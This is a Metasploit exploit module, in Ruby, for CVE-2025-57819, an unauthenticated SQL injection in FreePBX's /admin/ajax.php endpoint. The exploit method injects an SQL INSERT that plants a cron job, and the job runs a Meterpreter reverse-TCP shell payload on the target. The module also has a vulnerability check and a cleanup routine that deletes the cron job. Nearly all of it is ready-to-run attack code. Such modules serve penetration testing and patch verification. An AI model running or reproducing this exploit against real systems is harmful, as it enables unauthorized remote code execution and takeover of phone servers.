📄 FreePBX SQL Injection / Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE',
            'Description' => %q{
              This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
              and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
              authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
              remote code execution on the target system.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Echo_Slow', # msf module
              'Piotr Bazydlo', # POC used as a template
              'Sonny' # POC used as a template
            ],
            'References' => [
              ['CVE', '2025-57819'],
              ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
            ],
            'Platform' => ['linux'],
            'Arch' => ARCH_CMD,
            'Targets' => [
              [
                'Unix Command',
                {
                  'DefaultOptions' =>
                  {
                    'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                    'WfsDelay' => 70 # cronjob may take up to a minute to start
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-08-28',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new(
              'TARGETURI',
              [false, 'The URI for the FreePBX installation', '/']
            )
          ]
        )
      end
    
      def check
        print_status('Checking if vulnerable...')
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
          'vars_get' => {
            'module' => 'FreePBX\\modules\\endpoint\\ajax',
            'command' => 'model',
            'template' => Rex::Text.rand_text_alphanumeric(3..6),
            'model' => Rex::Text.rand_text_alphanumeric(3..6),
            'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
          }
        )
    
        if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
          return Exploit::CheckCode::Vulnerable('Detected SQL injection')
        end
    
        Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
      end
    
      def exploit
        module_name = Rex::Text.rand_text_alpha(4..7)
        @job_name = Rex::Text.rand_text_alpha(4..7)
    
        rce_payload = Rex::Text.rand_text_alpha(4..7)
        rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
        rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
          'vars_get' => {
            'module' => 'FreePBX\\modules\\endpoint\\ajax',
            'command' => 'model',
            'template' => Rex::Text.rand_text_alphanumeric(3..6),
            'model' => Rex::Text.rand_text_alphanumeric(3..6),
            'brand' => rce_payload
          }
        )
    
        if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
          print_good("Created cronjob with job name: '#{@job_name}'")
          print_status('Waiting for cronjob to trigger...')
        else
          fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
        end
      end
    
      def cleanup
        super
    
        return unless @job_name
    
        # Remove the created cronjob
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
          'vars_get' => {
            'module' => 'FreePBX\\modules\\endpoint\\ajax',
            'command' => 'model',
            'template' => Rex::Text.rand_text_alphanumeric(3..6),
            'model' => Rex::Text.rand_text_alphanumeric(3..6),
            'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
          }
        )
    
        print_status('Attempting to perform cleanup')
    
        if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
          print_good('Cronjob removed, happy hacking!')
        else
          print_bad('Cronjob not removed, please perform manual cleanup!')
        end
      end
    end